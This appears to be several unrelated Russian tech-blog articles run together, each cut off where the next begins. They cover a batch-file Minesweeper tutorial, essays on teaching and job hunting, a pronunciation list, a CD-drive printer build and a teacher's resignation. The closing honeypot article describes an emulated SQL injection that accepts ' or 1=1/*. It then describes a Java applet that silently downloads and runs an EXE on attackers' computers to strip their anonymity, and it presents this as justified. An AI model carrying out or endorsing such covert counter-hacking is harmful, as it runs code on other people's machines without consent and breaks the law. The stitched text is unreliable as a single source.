:dosumfield

REM Если в клеточке уже что-то есть (бомба), то выходим.

if not "%3"=="?" goto:eof

REM Устанавливаем координаты первой соседней клетки.

set /a x1=%1 - 1 

set /a y1=%2 + 1



REM ..... Пропускаем код .....



set sum=0

REM Если координаты первой точки входят в массив, то вызываем процедуру для увеличения счетчика кол-ва бомб

if %1 GTR 1 if %2 LSS 9 call :newsum %%rfield%x1%%y1%%%



REM ..... Пропускаем код .....



:newsum

if "%1"=="X" set /a sum+=1

goto:eof


Итак, поле у нас есть, теперь нужно его вывести. Опять же, необходимо использовать цикл for (ну, если вам скучно, то вы можете и вручную все прописать). Кстати, тут используется новая особенность команды call: первым аргументом можно ввести другую команду (echo, set). И поэтому не нужно создавать однострочные процедуры.
for /L %%y in (1,1,9) do call set line%%y=:%%y:  %%mfield%%y1%%  %%mfield%%y2%%  %%mfield%%y3%%  %%mfield%%y4%%  %%mfield%%y5%%  %%mfield%%y6%%  %%mfield%%y7%%  %%mfield%%y8%%  %%mfield%%y9%%  :%%y:

REM Все клеточки, не имеющие соседей-бомб не отображаем

for /L %%y in (1,1,9) do call set line%%y=%%line%%y:0= %%

echo %line0%

echo :---------------------------------:

for /L %%y in (1,1,9) do call echo %%line%%y%%

echo :---------------------------------:

echo %line0%


Теперь попытаемся считать команды пользователя. Первый символ — команда, второй и третий — координата. На всякий случай удалим все пробелы. Для того, чтобы исключить batch-injection (выполнение посторонних команд с помощью ввода текста) или просто смерть батника, работаем только с тремя символами. Также необходимо проверить, являются ли последние два символа — цифрами.
REM Заносим в input магическую строку, на случай если пользователь забьет на ввод данных.

set input=0 00

set /p "input=Input: "

set input=%input: =%

REM Первая буква - необходимое действие.

set action=%input:~0,1%



REM Пример действия

if "%action%"=="h" (

	cls

	REM Вызываем справку (call) и идем в цикл игры (goto)

	call :help

	goto:gamecycle

	)



REM Если первый символ не является командой, то рассказываем кое-что пользователю.

if not "%action%"=="q" if not "%action%"=="h" if not "%action%"=="o" if not "%action%"=="f" if not "%action%"=="n" call:errorIO2

REM Если второй и третий символ - не координаты, то назначим их равными нулю. 

set ix=0

set iy=0

for /L %%a in (1,1,9) do if "%%a"=="%input:~1,1%" set ix=%%a

for /L %%a in (1,1,9) do if "%%a"=="%input:~2,1%" set iy=%%a

REM Если второй/третий символ не является координатой, то выведем ему сообщение (call) и перейдем к игровому циклу.

if "%ix%"=="0" (

	call :errorIO1

	goto:gamecycle

	)

if "%iy%"=="0" (

	call :errorIO1

	goto:gamecycle

	)

REM Дальше идут команды требующие правильных координат



Теперь осталось расписать как открывать клетки поля. В сапере есть одна особенность: если рядом с клеткой 0 бомб, то открываем рядом стоящие клетки (не по диагонали). Т.е. необходимо использовать рекурсию.

REM Если команда пользователя - открыть клетку, то запускаем спец. процедуру с параметрами: координаты, значение клетки в реальном поле, значение клетки в видимом поле.

if "%action%"=="o" (

	call :openpoint %ix% %iy% %%rfield%ix%%iy%%% %%mfield%ix%%iy%%%

	goto:gamecycle

	)

REM ..... Пропускаем много кода .....



:openpoint

REM Если клетка не пуста - рассказываем пользователю много интересного, если в клетке бомба - уже поздно что-либо рассказывать.

if not "%4"=="?" (

	echo Point x=%1 y=%2 already opened

	pause>nul

	goto:eof

	)

if "%3"=="X" (

	REM Ставим переменную die в единицу, после чего делаем выводы. 

	set die=1

	for /L %%x in (1,1,9) do for /L %%y in (1,1,9) do call set mfield%%x%%y=%%rfield%%x%%y%%

	goto:eof

	)

REM А если ни то, ни другое, то пытаемся открыть эту и ближние клетки.

call :oaf %1 %2 %3 %4

goto:eof 



REM А вот как раз и рекурсивная функция

:oaf

REM Если клетка пуста (выход за пределы поля) или в ней бомба - уходим отсюда.

if "%3"=="" goto:eof

if "%3"=="X" goto:eof

REM Открываем данную клетку

call set mfield%1%2=%%rfield%1%2%%

REM Если в данной клетке 0 бомб, то пытаемся открыть все ближние клетки.

if not "%3" == "0" goto:eof



REM xn, yn - координаты следующей клетки. Диагональ не проверяется.

set /a xn=%1

set /a yn=%2 + 1

REM Проверка, открыта ли эта клетка на видимом поле.

set dooaf=0

call :checkoaf %%mfield%xn%%yn%%%

REM Если нет (doaf==1), то вызываем себя, но с другими координатами.

if %dooaf%==1 call :oaf %xn% %yn% %%rfield%xn%%yn%%% %%mfield%xn%%yn%%%



REM ..... Еще очень много кода .....

goto:eof


Всего у нас осталось две интересные вещи — установка флагов и проверка, выиграл ли пользователь. Первое не интересно, разве что стоит заметить, что процедура должна обеспечивать установку и снятие флага с поля одной командой.

Пользователь победил в двух случаях:
  • все флаги проставленны правильно;
  • сумма проставленных флагов и неоткрытых клеточек равна кол-ву бомб;
Пользователь не победил в одном из трех случаев:
  • количество флагов больше количества бомб;
    if %flags% GTR %maxbombs% goto:eof
  • не все флаги проставленны правильно;
  • сумма проставленных флагов и неоткрытых клеточек не равна кол-ву бомб;
Последние два варианта определяются так:
REM Считаем кол-во правильно поставленных флагов и не открытых клеточек.

set nopoints=0

set rflags=0

for /L %%x in (1,1,9) do for /L %%y in (1,1,9) do call :checkfo %%mfield%%x%%y%% %%rfield%%x%%y%%

REM ..... Здесь много кода .....

:checkfo

if "%1"=="?" set /a nopoints+=1

if "%1"=="!" if "%2"=="X" set /a rflags+=1

goto:eof

После отработки такой процедуры в переменной nopoints будет содержаться кол-во пустых флагов, а в rflags — кол-во правильно проставленных флагов.

Естественно, я расписал не весь код, а только его часть. Сам код можно посмотреть здесь: Google Docs, html или здесь: Plain Text

P.S: Если будут вопросы — почему так, а не иначе — задавайте, я отвечу. Я, к сожалению, не каждую строку расписал, а только необходимые (на мой взгляд). Если вам что-то не понятно — задавайте вопросы. Также прошу прощения за мой английский и имена переменных/процедур.
P.P.S: Jabber на батниках поддерживать лень, поэтому я его забросил :-)

UPD1: Исправления:
  • Улучшенная генерация поля
  • Невозможность умереть на первом ходе
  • Уменьшено количество бомб до 17
  • Добавлена секретная команда 'r', выводящая таблицу рекордов (файл records.log)

UPD2: Исправления:
  • Дополнен принцип ввода команды: теперь можно ввести только координаты, чтобы открыть клеточку.
  • Изменен принцип открытия клеток
  • Знаки вопроса (?) заменены на точку — "."

UPD3: Исправления:
  • Исправлена проблема с records.log
Я преподаю программирование в университете с 2000 года. Когда-то я был зеленым преподом, который побаивался заходить к студентам, потому что нужно было выглядеть умным, все знать, уметь отвечать на каверзные вопросы. Потом я понял, что набор каверзных вопросов ограничен и, слушая их из года в год, я знал на все такие вопросы ответы. Но история не об этом.

Кроме преподавания я сам активно занимался (и занимаюсь) программированием. И преподавание в университете для меня сейчас хобби, которое в материальном плане скорее убыточно, т.к. за то время, которое я трачу на студентов, я бы заработал больше, чем мне платит университет. Но и не об этом данная история тоже.

А хочу я поделиться тем, как, на мой взгляд, стоит строить обучение программированию.

Не знаю как в других университетах, но в нашем программированию учат так. Есть теоретические лекции, где рассказывают о языках программирования и о базовых алгоритмах и структурах данных (сортировки, связанные списки, стеки, очереди и т.д. и т.п.) Есть практические занятия, где студенты выполняют одинаковые лабораторные работы. Их обычно от 3 до 5 за семестр. Вроде бы все хорошо. Есть теория и есть практика. Учись и набирайся опыта. Но, на мой взгляд, практика не совсем та. Каждый студент варится в своей каше, пишет маленькие проекты и опыта набирается крайне мало.

А теперь к сути поста! Попалась мне группа очень толковых студентов. Еще со школьных времен они умели неплохо программировать. И я решил с ними отказаться от классического подхода. Тогда они учились на первом курсе. Я предложил им не делать лабораторные работы, а разработать один большой совместный проект. Часть из них отказались и стали делать обычные лабораторки, а большинство согласились. Я предложил им написать клиент-серверное приложение для организации математических вычислений (умножение матриц, символьное дифференцирование и т.д.) На сервере будет заложена математика, а клиент – это просто визуальный интерфейс для задания входных данных и отображения результата. Сервер один, а клиентов может быть масса. Общение через TCP/IP. Напоминаю – это были студенты первого курса. Результат вышел не самый лучший, но прототип даже работал! Пусть работал с ошибками и даже падал, но, на мой взгляд, это был достойный результат!

Прошел год. Ребята перешли на второй курс. Преподавание программирования продолжается. Они уже не были удивлены, когда я предложил вместо скучных лабораторок снова разработать совместный проект. На этот раз был следующий проект. Необходимо было разработать платформу для проведения соревнований виртуальных роботов. Т.е. был лабиринт (многоэтажный). У роботов было оружие. Был разработан свой язык программирования (оказался очень похожим на Pascal) для задания логики поведения роботов. На сервер заливались алгоритмы роботов. Запускался движок. И на клиентских приложениях визуализировалась баталия роботов. Это лишь поверхностное описание задачи. Я хочу показать, что проект был далеко нетривиальный.

И тут работа закипела. Сначала мы коллективно составляли ТЗ. Я для ребят поставил Mediawiki. Там они редактировали ТЗ. Потом пошла реализация. Активно использовали SVN. Графика на OpenGL. Был разработан интерпретатор языка программирования для задания поведения роботов (кстати, это сделал один из студентов единолично). В процессе разработки выделились лидеры, которые активнее всех принимали решения по архитектуре. Иногда дело доходило чуть ли не до драки. Периодически более активные «пинали» тех, кто тормозил с реализацией своей части. Я просто ловил кайф, наблюдая за этим процессом. Такой опыт значительно полезней, чем лабораторные работы, написанные в одиночку. Хочу обратить внимание, что ребята действительно были толковые, и на выполнения лабораторных работ они бы потратили на порядок меньше времени, чем на участие в совместном проекте. Но им это тоже было по душе.

Если честно, то я потратил на эту группу тоже значительно больше сил и времени, чем если бы я проводил практические занятия по обычной схеме.

А что дальше, спросите вы? А дальше ребята проявили себя следующим образом. Трое из группы собрали команду (еще один участник команды учился не у меня) и вышли в международный финал Microsoft Imagine Cup (не в этом году). Двое из них сейчас уже работают в США. Очень хочется верить, что мой эксперимент с преподаванием хоть чуток, но помог им добиться такого результата.

А что я? Я сейчас не преподаю программирования на первых курсах и подобные эксперименты больше не ставлю. И, наверное, зря. Если этот пост прочитают преподаватели программирования – задумайтесь… Может быть стоит иногда отходить от классических канонов?

Вывод: Всегда приятней и легче получать знания и опыт, если процесс интересен. Не спорю, что мне попались изначально толковые студенты. Но я лично наблюдал, как умные ребята делают за пару часов лабораторную работу так, чтобы просто получить зачет. Не вкладывают в процесс душу и полученный опыт близок к нулю. Если вы преподаватель и видите в глазах студентов искорку — не дайте ей угаснуть!

P.S. Не исключено, что мои студенты узнали себя в этом посте. Прошло уже несколько лет, и я мог что-то перепутать. Не стесняйтесь написать мне – я поправлю.
Из знакомых мне айтишников очень немногие стараются правильно произносить английские слова. Конечно, привычнее произносить C++ как «си-плюс-плюс», а не «си-плас-плас» или «опен-бэ-эс-дэ», а не «оупэн-би-эс-ди».
Но когда «echo $value;» читают как «ечо валуй» — это уже не смешно. Другой человек вас может просто не понять, особенно иностранец.

В топике представлен небольшой список «сложных» слов, которые часто произносят неправильно.
Ориентироваться лучше не на мою (весьма приблизительную) транскрипцию, а на аудио.

♫ — прослушать произношение в словаре
► — прослушать произношение на youtube

Начнем с названий:
ABBYY аби
Adobe эдоуби [əˈdəʋbɪ]
Apache эпэчи [əˈpætʃiː] от «a-patchy»
Asus офиц. э́сус
амер. э́йсус

 
BenQ бенкью
Cisco сискоу [ˈsɪskoʊ]
EBay ибэй
Eee PC и писи
Ethernet изэрнэт [ˈiθərˌnɛt]
Itanium айтэйниум [aɪˈteɪniəm]
Juniper джу́нэпэр [ˈdʒunəpər]
LaTeX лэйтех
лэйтек
латех
латек
[ˈleɪtɛk]
['leɪtɛx]
[ˈlɑːtɛx]
[ˈlɑːtɛk]
Linux офиц. линэкс
вар. линукс
[ˈlɪnəks]
[ˈlɪnʊks]

 
Mac OS X мэк оу-эс тэн
MySQL офиц. май-эс-кью-эл
вар. май-сиквел
как «My Ess Que Ell», см. оф. сайт
nginx энджин-икс (от engine-x)
PuTTY пати [ˈpʌtɪ] см. оф. сайт
Qt кьют [kyut] см.
TeX тех
тек
[ˈtɛx]
[tɛk]
не «текс»
XBox 360 экс-бокс фри сискти
Xen зен [ˈzɛn]
Xeon зион
Xerox зирокс [ˈzɪərɒks]
Xilinx зайлинкс [ˌzaɪliːŋks]
ZyXel рус. зайксел
амер. зайзел
см.


Аббревиатуры:
GNU гну вар. гню
GWT гвит [ˈɡwɪt]
ICANN айкэн
IEEE ай-трипл-и как «I triple E»
ISO айсо
PNG пинг [ˈpɪŋ] как «ping», см. спецификацию
PXE пикси [ˈpɪksi]
RUP рап
SCSI скази ['skʌzi]
SOAP соуп [soʊp]
SQL эс-кью-эл [ˈɛsˈkjuˈɛl] неофиц. «сикуел»
SWF свиф [ˈswɪf] см. спецификацию
WYSIWYG визивиг [ˈwɪziˌwɪg]
XAML зэмл [ˈzæməl]
XUL зул [ˈzuːl]
Yii длинное «и» [ji:]

Обычно аббревиатуры произносятся по правилам английского языка: API — эй-пи-ай, PCMCIA — пи-си-эм-си-ай-эй, OpenBSD — оупен-би-эс-ди и т.д.



Некоторые слова-«ловушки» (пишутся похоже, а звучат совсем по-другому):
administrator эдминэстрйтэ [ædˈmɪnəˌstreɪtər]
archive аркайв [ˈɑrkaɪv]
bash бэш [bæʃ]
binary байнэри [ˈbaɪnəri]
browser браузэ [ˈbraʊzər] некоторые почему-то произносят «броузер»
caution кошэн [ˈkɔʃən]
certificate
to certificate
сертификит
сертификейт
[sərˈtɪfɪkɪt]
[sərˈtɪfɪˌkeɪt]
сертификат
сертифицировать
data дэйта ['deɪtə] но можно произносить и «дата»
dial-up дайл-ап [ˈdaɪəlˌʌp]
echo экоу [ˈɛkoʊ] не эхо и не ечо
else элс [ɛls]
error эрэр [ˈɛrər] лучше послушать
etc эт-сетэрэ [ɛt ˈsɛtərə]
function фанкшэн [ˈfʌŋkʃən]
geo джио [ˈdʒiːəʊ] напр. geotargeting — джиотаргетинг
header хэдер [ˈhɛdər]
height хайт [haɪt]
install инстол [ɪnˈstɔl]
issue амер. ишью
брит. исью
[ˈɪʃuː]
['ɪsjuː]

 
module маджул [ˈmɒdʒul]
multi- малти [mʌltɪ]
practice практис [ˈpræktɪs]
private прайвит [ˈpraɪvɪt]
procedure прэсиджа [prəˈsiːdʒə]
queue кью [kyu]
query квиэри [ˈkwɪəri]
register реджистэр [ˈrɛdʒəstər]
router амер. раутэр
брит. рутэр
[ˈraʊtər]
[ˈrutər]
server сёрвэр [ˈsɜrvər] лучше послушать
sign сайн [saɪn]
source сорс [sɔrs]
spawn спон [spɔn]
suite свит [swiːt]
technical текникэл [ˈtɛknɪkəl]
tunnel танл [ˈtʌnl]
viewer вьюер [ˈvyuər]
virtual вёрчуал [ˈvɜrtʃuəl] означает не только «виртуальный», но и «фактический», «в сущности»
warning ворнинг [ˈwɔrnɪŋ]

P.S. Если вы знаете еще трудные слова или нашли ошибки в посте, пожалуйста, опишите в комментариях.
P.P.S. Спасибо за все ценные замечания и новые слова!
… или почему я никогда не занимался веерной рассылкой резюме, а долго присматривался, затем посылал одно, и меня там брали.

Пришедшая на почту рассылка новостей принесла мне очередную статью с «ХедХантера», призванную, якобы, помочь соискателям правильнее составить резюме.
Одна из многих подобных. Несть им числа.
Там, конечно же, рассказывалось о том, что хорошо, а что плохо писать в разных разделах резюме, какими словами о себе рассказывать можно, а какими нет, в общем — как представить из себя идеально собранную машинку по исполнению скромной, но очень важной для компании роли.

Этой статьёй хочу выразить протест против устоявшейся практики преподнесения себя соискателями и предложить этому «раболепию по гайдлайнам» какую-то разумную альтернативу.

Статья для соискателей.

Почему не так?

Проходя более 4 лет назад последнее собеседование, на котором присутствовали сразу все соискатели, я обратил внимание на внутренний настрой тех, кто там был.
Знаете, что меня зацепило?
Большинство из них выглядели… жалкими. Они были неплохими специалистами (наверное), некоторые бы даже справились с задачей лучше меня. Но они выглядели жалкими, потому что пришли в лучшем случае продавать себя, а в худшем — надеяться на работу и зарплату почти как на милостыню.

Соответствующими были и их вопросы.
«А насколько у вас нормирован рабочий день? А будет ли у нас „белая“ зарплата?» — спрашивали первые.
Вторые вопрошали — «А отпустят ли меня в отпуск в мае хотя бы на 3 дня — мне надо навестить родителей».

Были и третьи.
Они выглядели самоуверенными, бодро рапортовали о своих прошлых успехах, явно тренировали речь, быть может даже учили ответы заранее. Забегу вперед — ни одного из этих не взяли. Неожиданные вопросы почему-то заставляли их мяться, в бодрой дикции сразу наступал провал. Вылезали неожиданные неприятные нюансы (у одного довольно респектабельного на вид парня даже не оказалось гражданства).
Причина их неудачи не в плохо отрепетированной дикции, а в том, что их конечной целью было попасть на эту работу. Конечной — это значит, что на этом их цель кончалась.
Для них всё их стремление заканчивалось там, где, по надеждам руководителя проекта, всё должно было только начинаться.


В ходе этого собеседования я вдруг остро почувствовал, что так нельзя. Это всё какие-то неправильные пути, которые в той или иной степени нечестны. Это попытки обмануть либо работодателя, либо — что чаще — самого себя.

Работа или труд?

Здесь я немного отклонюсь от темы, чтобы внести ясность в важный вопрос. Вопрос о понимании архетипов.

Что несёт нам в себе архетип «работа», как его понимают сейчас?
Это когда вы приходите в некую компанию к таким-то часам по рабочим дням, выполняете круг обязанностей (еще соблюдаете дисциплину, правила и т.п.), в положенные часы уходите домой, и потом вам за это дают зарплату — то есть те самые деньги, ради которых всё и затевалось.
Что это такое, по сути? Продажа своего времени за деньги.

В чём здесь проблема?
В том, что из архетипа «работа» начисто, ко всем чертям, вычеркнуто стремление к некоему результату. Вы скажете, что результат — это зарплата. Но она платится за проданные часы. Не за достигнутый результат.
Чтобы хоть как-то привязать сотрудника к достигаемому им результату, придумываются различные «схемы мотивации», которые заключаются в премиях, штрафах, досках почета, грамотах, бонусах (я негодую при этом слове), и так далее.
Но вообще, по сути, в голове сотрудника сидит принцип «отсидел — не накосячил — заплатили».
Я не хочу разводить здесь кастанедовщину, но это — рабский подход, в котором человек не признаёт себя причиной своих действий, и — как показывает практика — в случае неуспеха редко понимает, за что его наказывают: он всего лишь винтик, его просто неправильно закручивали, это не он придумал, он жертва обстоятельств, и т.п.
И на работу он устроился не для того, чтобы достигать результата, а чтобы получать «достойную» и «престижную» зарплату.

Другой подход называется «трудом».
В отличие от «работы», труд совершается ради результата, как такового — довольный заказчик, красивый дизайн, вызывающий приятное удивление интерфейс, полезное и удобное устройство — любое изменение мира к лучшему, совершенное лично вами.
Вместо зарплаты за безвозвратно проданное время, вы получаете вознаграждение в благодарность за то, что своим трудом сделали мир немного добрее. Если вы не сделали его добрее, то за что же тогда он будет вам благодарен?

Вот с такой позицией мы с вами идем устраиваться на работу — нет, забудьте, мы идем искать, как сделать мир лучше.

Маленький Будда

— Хакимура! Кто самый лучший кузовной мастер в стране?
— Я!


Сначала мы, как начинающие боги, должны решить, чем мы умеем улучшать этот мир.

Один умеет не просто «конструктивно общаться с заказчиками», а вызывать этим общением радость, надежду и облегчение у людей, которые искали решение своих проблем (а это именно так), и нашли его в приобретении данного продукта, на которые им открыл глаза этот добрый человек.

Другой умеет продумывать работающие решения, которые отличаются удобством, понятностью, лёгкостью в использовании, и тем самым помогают людям экономить время, силы, делают жизнь людей проще.

Третий умеет разрабатывать не просто «креативный и концептуальный дизайн», а обладает чувством прекрасного и умеет воплощать это в своих творениях, вызывающих потом удивление, изумление, восторг.

Четвертый — не просто программист с N-летним стажем, умеющий «реализовывать сложные многокомпонентные приложения», а способный реализовать их так удобно, ресурсоэкономно и гибко, чтобы конечные пользователи потом не могли понять, как они раньше вообще без этого жили?

Вот такой внутренний настрой — ни больше, ни меньше.
Вы — не скитающийся работник, ищущий, где кормят и не гонят, а специалист по улучшению мира, причём, специалист хороший.

Компания работодатель — это теперь не храм, куда нужно прийти и молиться, а это коллектив усталых людей, которых замучили проблемы, и которые нуждаются в вашей помощи. Если бы они в ней не нуждались, то они бы не размещали вакансию свой зов о помощи на всех ресурсах.
Ведь, действительно, задумайтесь, если им нужны новые люди, значит они не справляются сами. Значит у них где-то «прорвало плотину».

И вы приходите не для того чтобы предлагать им купить себя.
Вы приходите чтобы предложить помощь. Вы можете помочь. Вы же специалист по улучшению мира, и вы заметили у них проблемы, которые знаете, как решить.

Соответственно, меняется и само собеседование.

Вместо того, чтобы пытаться понравиться странной девушке из отдела HR, вы пришли, чтобы понять, какие проблемы испытывает компания, и как вы можете ей помочь. Для того, чтобы это понять, вам нужно пообщаться с руководителем рабочей группы, к которой вы потом подключитесь.
Никакого сослагательного наклонения. ВЫ. ПОДКЛЮЧИТЕСЬ. Без «может быть» и «если вдруг вы решите...».

Конечно, HR может сослаться на его занятость. Но что это? Кто еще лучше него объяснит в чём возникли проблемы и где нужна помощь? Девушка, пригласите его, или давайте договоримся, когда мы сможем с ним поговорить. А Вы можете рассказать подробнее, мне необходимо знать, какова суть проблем, которые мне нужно будет решать.

Это главные вопросы. Способны ли вы решить проблемы компании? Беретесь ли вы улучшать здесь мир? Хотят ли улучшений (и вообще — решения проблем) те, кто там работают? Будет ли вам, как специалисту, удобно работать с ними?
Если что-то из этих вопросов вызывает у вас сомнение, протест, страх — проясните сомнения или прочь оттуда.
Не тратьте время там, где вам препятствуют.
Ваше время бесценно. Ведь если вы потратите его напрасно, мир может стать не настолько прекрасен, насколько мог бы.




Представляю вашему вниманию простой принтер из частей CD привода. Печатает он с помощью обычного маркера. Конечно, разрешение у него не большое, но мне давно хотелось воплотить этот проект в жизнь.

Материалы






Самое главное — CD-ROM, ну или DVD-ROM. Попробуйте найти привод с биполярным мотором, в моем использовался двигатель постоянного тока, так что потом пришлось менять его на шаговый. Кроме того, вам понадобится еще один шаговый двигатель, резиновое колесо и деревянное основание. Другие электронные детали будут изложены далее.

Первый двигатель






Отделите двигатель вместе с металлической конструкцией и горизонтальными направляющими.

Второй двигатель








Этот двигатель снимите со всеми «колесами». Также вырежете пластиковый корпус к которому эта конструкция крепилась, а грубые части сгладьте наждачкой.

Делаем «картридж»






Ну, на самом деле это не совсем картридж, просто сюда будет крепиться маркер. Прикрепите двигатель постоянного тока к пластику, а затем пройдитесь клеем для прочности конструкции.

Держатель для маркера






Эта маленькая трубка с дырой позволит вам заменять маркер. Приклейте к трубке гайку с винтом, а затем прикрепите к последнему редукторному колесу как на фото.

Новый мотор






В моем приводе использовался двигатель постоянного тока. Ну а так как он на самом деле не очень эффективен, меняем его на биполярный шаговый двигатель.

Электронная начинка






Начинка собиралась на макетной плате. Три переключателя на картинке будут использоваться в конце проекта.

Собираем все железо






Основной код




Исходник можно глянуть тут: pastebin.com/9pPk0FkQ

Делаем изображение для печати






Для простоты использования программа была написана на Java. Просто открываете её, рисуете что планируете напечатать, и жмете «p». Программа сама сгенерирует соответствующий код, вам останется только вставить его в основной код между метками «aca empieza el codigo» и «aca termina el codigo».

Примеры












Файлы для скачки


Impresora.hex
Impresora2.jar

UPD: Видео


Доброго времени суток, уважаемое хабрасообщество. Хочу с вам поделиться своими мыслями по этому поводу. Сразу оговорюсь, что это не что иное, как мысли вслух.

Маленькая предыстория. В августе этого года я устроился работать в одну из школ Санкт-Петербурга. Как не трудно догадаться, учителем информатики. Помимо, непосредственно, разработки, мне действительно было интересно работать с детьми, пытаться научить их чему-то серьёзному и, на мой взгляд, интересному. Я прекрасно отдавал себе отчёт в том, что далеко не всем интересна информатика, но тогда я ещё не подозревал, что всё НАСТОЛЬКО плохо…

Собственно, по теме. Зачем я туда шел? Интересно было. Казалось, что Школа — это что-то очень хорошее. Всё-таки, как не крути, а со школой у меня связано много хороших, добрых и тёплых воспоминаний. И это далеко не только прогулы уроков и весёлые замечания в дневнике. Мне нравилось слушать учителей, когда они рассказывали что-то интересное. Иногда это были случаи из их жизни, иногда — новый материал, от которого дух захватывало (например, когда учительница географии рассказывала про вулканы. Очень хорошо это помню, я тогда сидел с широко открытым ртом и с жадностью голодной акулы поглощал новый материал). Или история… Это не говоря о информатике и математике. Конечно, по чесноку, были предметы, которых я не выносил. Яркий пример — физика и химия. Но это отдельная история… И таким у нас был весь класс! Кому-то нравилось одно, кому-то — другое. Кто-то любил Онегина, кто-то логарифмы. Одни тащились от ископаемых жучков, а другим нравилось, хоть и мысленно, но расщеплять их на атомы. Мы чем-то интересовались. Мы всегда хотели что-то узнать. Не было такого, что мы прям ходили в школу, как на каторгу. Конечно, прогуливали. Конечно «Блин, опять в школу!...». Но мы придерживались некоторых рамок…

И вот с этими мыслями я и шел работать учителем. Я свято верил, что на всю школу найдётся хоть 15 человек, с которыми будет приятно работать. Которым будет интересен мой предмет. Но что получилось в итоге? А в итоге получилось вот что… Одна половина детей свято верит, что на Counter-Strike и вконтактах информатика ограничена. А вторая — просто игнорирует предмет как таковой. Конечно, меня это не могло не расстраивать. Я работал над собой, я готовился ночами к урокам, я старался всё сделать интереснее и нагляднее. С показами презентаций, видеороликов, интервью с известными людьми и т.д. Реакция — нулевая.

Само собой, такая реакция меня задела. Мне было просто по-человечески обидно. И я пошел к своим учителям. К тем людям, которые учили меня. Троечника по многим предметам. И оказалось, что не я один оказываюсь в такой жопе ситуации. Оказалось, что даже самые авторитетные учителя НЕ МОГУТ заинтересовать современных детей своим предметом. Как не крутись, что не изобретай. Если к малышам (1-6 классы) ещё можно найти подход: обставить процесс как игру, например, или киношечку показать. В общем, устроить какой-то нестандарт. То все, кто старше не поддаются абсолютно никакому контролю. Им начинает казаться, что они очень взрослые и в состоянии самостоятельно решить, что им надо. Да и хорошо! Да и флаг в руки, если бы они цеплялись хоть за что-то!

Чтобы не быть голословным — приведу пару цифр:
10 класс: в среднем по классу, выходит по 6 двоек на человека. В полугодии. Это при том, что в классе всего 2 «хорошиста».

Вот такая вот ситуация. Я, конечно, понимаю, что труд учителя — это труд поистине титанический. И я так больше не могу. И это не потому, что я «просто устал и мне надо отдохнуть». Тут дело в другом, наверное. Амбиции: я не могу что-то делать в пустоту. Мне начинает казаться, что то, что я делаю — фэйк, не дающий никакой реальной пользы. Ни мне, ни детям. Поэтому я ухожу. И знаю ещё много людей, которые вот так же уходили. Через пол года, через год.

И выхода из этой ситуации я, лично, не вижу.

UPD: Переместил в учебный процесс. Спасибо.
Тема анонимности в Интернете является сейчас достаточно модной и интересной, и особенно теперь, когда новостные порталы пугают наc всякими там PRISM, правительственными инициативами и прочим. Большинство людей озабочены тем, как сохранить тайну своей личности в сети и поэтому все темы так или иначе посвящены ЗАЩИТЕ. Но иногда, раскрытие анонимности это не такое уж и плохое дело. Да-да, эта заметка — мой опыт борьбы с анонимностью своими силами, без помощи спец-служб…





Зачем?



Прежде всего… а зачем мне это? Я не «трехбуквенник», а скромный инженер, замыслов по захвату мира у меня пока нету и прочими недобросовестными делами я не занимаюсь, так чем же мне не угодила анонимность? Ответ прост — анонимусами, хацкерами, скрипт-кидисами… Эти ребята вечно пытаются что-то там сломать, украсть, испортить или погонять свое ЧСВ. Дело это, если подумать не такое уж и плохое (лучше чем в подворотне наркотиками баловаться), но раз ребята любят поиграть — давайте поиграем с ними. Их анонимность дело не святое, поэтому можно с ней и посражаться 8) Но как общий результат, все это работает с любым пользователем сети Интернет, просто я применил усилия исключительно против атакующих, тех кто пытается получить несанкционированный доступ и нарушить статью 272 УК РФ. Кроме того, мой опыт будет интересной иллюстрацией к теме «контратаки» на самих атакующих в автоматическом режиме без участия человека. Результат контратаки — раскрытие информации об атакующем, что, согласитесь, дело хорошее, а не плохое…

Бочонок с медом



Для того, чтобы не повредить анонимности ни в чем не повинных граждан и контратаковать только «злодеев», нужно быть уверенным, что данный юзверь — взломщик. Для этого достаточно иметь систему анализа поведения посетителя с механизмом обнаружения «атакующих» действий. Короче говоря, достаточно сделать honeypot. Для этого не надо разворачивать honeyd и тд. Например для общего случая с WEB ресурсом, достаточно на продакшн сервере расположить один псевдо-рабочий скрипт, который будет изображать полезность и функциональность, но на деле будет детектировать попытки проникновения и в случае «удачной» атаки изображать, что этот взлом удался. После этого исполнять контр-атаку на этого конкретного пользователя. Наглядный пример, создадим скрипт admin.php или /admin/ не важно, любой уважающий себя атакующий найдет этот URI за несколько секунд, это очевидный ход. В случае, если хочется повысить внимание нежелательных элементов к ловушке, можно разместить линк с главной страницы (мол админка тут), ведь главная задача, чтобы плохой парень начал атаковать первым делом хонипот, а не ковырялся в нормальных скриптах. В скрипте псевдо-админки, ясно дело, спрашивают логин и пароль. Далее дело фантазии, можно ждать когда атакующий пробрутит перебором пароль либо сделать эмуляцию уязвимости класса SQL Injection, и тогда подойдет любой пароль класса ' or 1=1/*, который будет давать доступ в «админку». При этом мы можем собирать статистику — как была взломана админка, подбором или через SQLi. Ну и само собой — любой кто попал в «админку» является «плохим» парнем, и его раскрытие его анонимности не вызывает у меня проблем морали.

Собственно в 2011 я разместил такой скрипт на своем горе сайте и стал ждать… ждал я не долго, так как сайт был посвящен теме ИБ, то желающих зОхакать его превышало всякое воображение.



Бей в лоб



Очевидно, что в самом общем случае, все что мы имеем об посетителе веб сайта (и атакующем, в нашем частном случае) это лишь IP адрес, User-Agent и тд. Как я говорил, мы не CIA/FSB/MOSSAD… у нас нет СОРМ или PRISM, и мы понимаем, что IP адрес (учитывая разные там Proxy серверы и TOR) — это фактически НИЧЕГО. С этим мы и имеем дело в большинстве случаев, но если разыграть один тонкий психологический момент (конкретно касающегося скрипт-кидди), то выяснится, что эти ребята не ждут подвоха! Другими словами, в теле «админки» можно сделать что угодно — повесить сплойт-пак например, и пробивать сплойтами нерадивых. Но я сыграл более «плоско», я запустил Апплет Java. Мол вы прошли аутентификацию… вот наша панель GUI на Java. Элемент социальной инженерии — атакующий в порыве радости от успешной атаки SQLi может тупо запустить апплет. И… я удивился, но таких было достаточно (конечно потом, с течением времени процент пробива падал, так как информация о подставе быстро разошлась среди узкого круга специалистов ;). Собственно апплет тупо дергал EXE файл с сервера и запускал его.
